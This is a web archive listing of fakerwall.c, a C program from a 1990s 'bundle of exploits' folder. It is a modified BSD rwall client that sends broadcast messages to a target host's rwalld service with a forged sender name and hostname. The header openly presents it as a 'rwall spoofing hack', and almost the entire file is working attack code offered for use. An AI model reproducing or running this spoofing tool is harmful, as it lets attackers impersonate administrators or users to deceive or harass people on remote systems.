home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / fakerwall.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  6KB  |  190 lines

  1. /* rwall spoofing hack... should compile on most sunos 4.1.x, bsd-like, and
  2.  *                        hpux OSes...  have fun.
  3.  *
  4.  * note: works only on hosts which have rwalld in /etc/inetd.conf 
  5.  */
  6.  
  7. /*
  8.  * Copyright (c) 1993 Christopher G. Demetriou
  9.  * Copyright (c) 1988, 1990 Regents of the University of California.
  10.  * All rights reserved.
  11.  *
  12.  * Redistribution and use in source and binary forms, with or without
  13.  * modification, are permitted provided that the following conditions
  14.  * are met:
  15.  * 1. Redistributions of source code must retain the above copyright
  16.  *    notice, this list of conditions and the following disclaimer.
  17.  * 2. Redistributions in binary form must reproduce the above copyright
  18.  *    notice, this list of conditions and the following disclaimer in the
  19.  *    documentation and/or other materials provided with the distribution.
  20.  * 3. All advertising materials mentioning features or use of this software
  21.  *    must display the following acknowledgement:
  22.  *    This product includes software developed by the University of
  23.  *    California, Berkeley and its contributors.
  24.  * 4. Neither the name of the University nor the names of its contributors
  25.  *    may be used to endorse or promote products derived from this software
  26.  *    without specific prior written permission.
  27.  *
  28.  * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
  29.  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  30.  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
  31.  * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
  32.  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  33.  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
  34.  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
  35.  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
  36.  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
  37.  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
  38.  * SUCH DAMAGE.
  39.  */
  40.  
  41. #ifndef lint
  42. char copyright[] =
  43. "@(#) Copyright (c) 1988 Regents of the University of California.\n\
  44.  All rights reserved.\n";
  45. #endif /* not lint */
  46.  
  47. #ifndef lint
  48. /*static char sccsid[] = "from: @(#)wall.c    5.14 (Berkeley) 3/2/91";*/
  49. static char rcsid[] = "$Id: rwall.c,v 1.5 1993/12/10 19:24:39 jtc Exp $";
  50. #endif /* not lint */
  51.  
  52. /*
  53.  * This program is not related to David Wall, whose Stanford Ph.D. thesis
  54.  * is entitled "Mechanisms for Broadcast and Selective Broadcast".
  55.  */
  56.  
  57. #include <stdio.h>
  58. #include <stdlib.h>
  59. #include <string.h>
  60. #include <time.h>
  61. #include <sys/param.h>
  62. #include <sys/types.h>
  63. #include <sys/stat.h>
  64. #include <pwd.h>
  65. #include <unistd.h>
  66. #ifdef sony_news
  67. #include <sys/time.h>
  68. #endif
  69. #include <rpc/rpc.h>
  70. #include <rpcsvc/rwall.h>
  71. #if (defined ultrix) || (defined hpux)
  72. #define    mkstemp    mktemp
  73. #endif
  74. #define _PATH_TMP    "/usr/tmp"
  75. struct timeval timeout = { 25, 0 };
  76. int mbufsize;
  77. char *mbuf;
  78.  
  79. void makemsg ();
  80.  
  81. int
  82. main(argc, argv)
  83.     int argc;
  84.     char **argv;
  85. {
  86.     char *wallhost, res;
  87.     CLIENT *cl;
  88.  
  89.     if ((argc < 4) || (argc > 5)) {
  90.         fprintf(stderr, "usage: %s hostname fakeuser fakehost [file]\n", argv[0]);
  91.         exit(1);
  92.     }
  93.  
  94.     wallhost = argv[1];
  95.  
  96.     makemsg(argv[4], argv[2], argv[3]);
  97.  
  98.     /*
  99.      * Create client "handle" used for calling MESSAGEPROG on the
  100.      * server designated on the command line. We tell the rpc package
  101.      * to use the "tcp" protocol when contacting the server.
  102.     */
  103.     cl = clnt_create(wallhost, WALLPROG, WALLVERS, "udp");
  104.     if (cl == NULL) {
  105.         /*
  106.          * Couldn't establish connection with server.
  107.          * Print error message and die.
  108.          */
  109.         clnt_pcreateerror(wallhost);
  110.         exit(1);
  111.     }
  112.  
  113.     if (clnt_call(cl, WALLPROC_WALL, xdr_wrapstring, &mbuf, xdr_void, &res, timeout) != RPC_SUCCESS) {
  114.         /*
  115.          * An error occurred while calling the server. 
  116.          * Print error message and die.
  117.          */
  118.         clnt_perror(cl, wallhost);
  119.         exit(1);
  120.     }
  121.  
  122.     exit(0);
  123. }
  124.  
  125. void
  126. makemsg(fname,uname,hname)
  127.     char *fname, *uname, *hname;
  128. {
  129.     struct tm *lt;
  130.     struct passwd *pw;
  131.     struct stat sbuf;
  132.     time_t now;
  133.     FILE *fp;
  134.     int fd;
  135.     char *whom, *hostname, lbuf[100], tmpname[32];
  136.  
  137.     (void)strcpy(tmpname, _PATH_TMP);
  138.     (void)strcat(tmpname, "/wall.XXXXXX");
  139.     if (!(fd = mkstemp(tmpname)) || !(fp = fdopen(fd, "r+"))) {
  140.         (void)fprintf(stderr, "wall: can't open temporary file.\n");
  141.         exit(1);
  142.     }
  143.     (void)unlink(tmpname);
  144.     whom = uname;
  145.     hostname = hname;
  146.     (void)time(&now);
  147.     lt = localtime(&now);
  148.  
  149.     /*
  150.      * all this stuff is to blank out a square for the message;
  151.      * we wrap message lines at column 79, not 80, because some
  152.      * terminals wrap after 79, some do not, and we can't tell.
  153.      * Which means that we may leave a non-blank character
  154.      * in column 80, but that can't be helped.
  155.      */
  156.     (void)fprintf(fp, "Remote Broadcast Message from %s@%s\n",
  157.         whom, hostname);
  158.     (void)fprintf(fp, "        (%s) at %d:%02d ...\n", ttyname(2),
  159.         lt->tm_hour, lt->tm_min);
  160.  
  161.     putc('\n', fp);
  162.  
  163.     if (fname && !(freopen(fname, "r", stdin))) {
  164.         (void)fprintf(stderr, "wall: can't read %s.\n", fname);
  165.         exit(1);
  166.     }
  167.     while (fgets(lbuf, sizeof(lbuf), stdin))
  168.         fputs(lbuf, fp);
  169.     rewind(fp);
  170.  
  171.     if (fstat(fd, &sbuf)) {
  172.         (void)fprintf(stderr, "wall: can't stat temporary file.\n");
  173.         exit(1);
  174.     }
  175.     mbufsize = sbuf.st_size;
  176.     if (!(mbuf = malloc((u_int)mbufsize))) {
  177.         (void)fprintf(stderr, "wall: out of memory.\n");
  178.         exit(1);
  179.     }
  180.     if (fread(mbuf, sizeof(*mbuf), mbufsize, fp) != mbufsize) {
  181.         (void)fprintf(stderr, "wall: can't read temporary file.\n");
  182.         exit(1);
  183.     }
  184.     (void)close(fd);
  185. }
  186.  
  187.  
  188.  
  189.  
  190.